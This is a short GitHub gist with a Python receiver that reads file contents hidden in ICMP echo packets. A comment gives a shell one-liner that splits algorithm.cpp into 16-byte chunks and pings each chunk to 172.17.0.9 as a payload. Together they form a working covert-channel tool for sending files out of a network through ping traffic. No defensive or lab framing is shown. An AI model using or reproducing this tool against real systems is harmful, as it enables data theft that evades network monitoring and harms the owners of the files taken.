Skip to content

Instantly share code, notes, and snippets.

@mvetsch
Created January 10, 2020 14:22
Show Gist options
  • Save mvetsch/869b5e04caa530f7b760a36dee1a2d23 to your computer and use it in GitHub Desktop.
Save mvetsch/869b5e04caa530f7b760a36dee1a2d23 to your computer and use it in GitHub Desktop.
import socket
import sys
def recv():
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
counter = 0;
while True:
data, src = s.recvfrom(1508)
payload = data[44:60]
if(counter % 2 == 0):
print((payload.decode()), end='')
counter = counter+1
if __name__ == '__main__':
recv()
# Send algorithm.cpp over ICMP echo in 16 byte chunks. The ping utility somehow just allows specifying 16 byte.
## > split -b 16 algorithm.cpp ; for f in `ls x*`; do ping -c 1 -p `xxd -ps $f ` 172.17.0.9 ;sleep 1; done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment